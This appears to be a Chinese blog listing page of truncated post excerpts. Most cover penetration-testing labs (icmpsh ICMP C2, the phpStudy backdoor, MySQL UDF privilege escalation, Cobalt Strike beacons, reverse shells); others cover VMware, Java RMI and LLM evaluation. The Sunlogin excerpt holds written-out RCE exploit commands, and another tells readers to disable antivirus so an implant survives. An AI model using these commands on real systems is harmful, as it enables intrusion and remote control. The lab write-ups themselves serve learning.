解决vmware16安装win7旗舰版时候安装不了vmtools问题（亲测有效）https://www.catalog.update.microsoft.com/Search.aspx?q=kb4474419旗舰版选择“2019-适用于 Windows 7 的 09 安全更新，适合基于 x64 的系统 (KB4474419)”下载对应的更新程序使用远程桌面的方式连接，并把更新程序导入进win7，然

RMI（Remote Method Invocation，远程方法调用）是 Java 提供的一种机制，用于在分布式系统中调用远程对象的方法。RMI 使用 Java 对象序列化和反序列化来传递数据。客户端通过 RMI 接口调用远程服务器上的方法。远程对象的引用可以通过 RMI 注册表（Registry）获取。

目录一、环境二、工具三、操作1、CentOS72、Win103、反弹成功四、C2流量分析1、正常的icmp流量2、恶意的icmp流量3、C2数据总结一、环境Win10：10.95.16.112CentOS7：10.95.16.103二、工具icmpshpython2三、操作win10关闭防火墙，病毒检测，不然icmpsh.exe会被自动删除centOS7安装python2对应的库文件用于支持icm

目录一、漏洞描述二、漏洞影响版本三、漏洞RCE一、漏洞描述Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer，多款软件一次性安装，无需配置即可直接安装使用，具有PHP环境调试和PHP开发功能，在国内有着近百万PHP语言学习者、开发者用户。2018年被爆出存在后门。漏洞环境自行搭建。本博客仅学习

目录【渗透测试】MySQL的udf提权笔记Mysql_udf提权1、UDF提权原理2、udf.dll导出指定文件夹3、plugin目录创建方式4、提权条件5、复现（暗月的使用）【渗透测试】MySQL的udf提权笔记Mysql_udf提权1、UDF提权原理正是由于MySQL支持UDF，支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dl

目录【渗透测试】CS4.0的使用（二）一、实验环境二、实验步骤1、kali本地启动cs4.02、生成beacon.exe后门文件3、各种意淫技巧让目标主机执行这个exe文件4、cs上线5、流量分析【渗透测试】CS4.0的使用（二）一、实验环境kali：10.95.16.113windows10：10.95.16.112 （无防护）二、实验步骤1、kali本地启动cs4.0本地启动teamserve

反弹 shell（Reverse Shell）是一种技术，攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下，反弹 shell 会将标准输入（stdin）、标准输出（stdout）和标准错误（stderr）重定向到网络套接字（socket），以便在远程主机上执行命令并接收结果。攻击者的服务端通过监听来自受害服务器的请求，对目标服务器下发指令并获取执行结果，以达到控制受害服务器的目的

版本：11.0.0.33.162安装路径：C:\Program Files\Oray\SunLogin\SunloginClient一、安装启动向日葵二、RCE执行xrkRce.exe -h 192.168.221.130 -t scan -p 1-65535xrkRce.exe -h 192.168.221.130 -t rce -p 2913 -c “whoami”windows复现成功苹果复

大模型评估远不止"准确率"这么简单。随着LLMOps（持续集成/持续评估/持续部署）的兴起，大模型的评估已演变为一个**多维度、多指标、多角色协同**的系统性工程。本报告基于参考文献，从**技术视角、用户视角、运维视角、安全视角、业务视角**五大维度，构建一套完整的大模型性能评估指标体系。

LangSmith的提示词工程与管理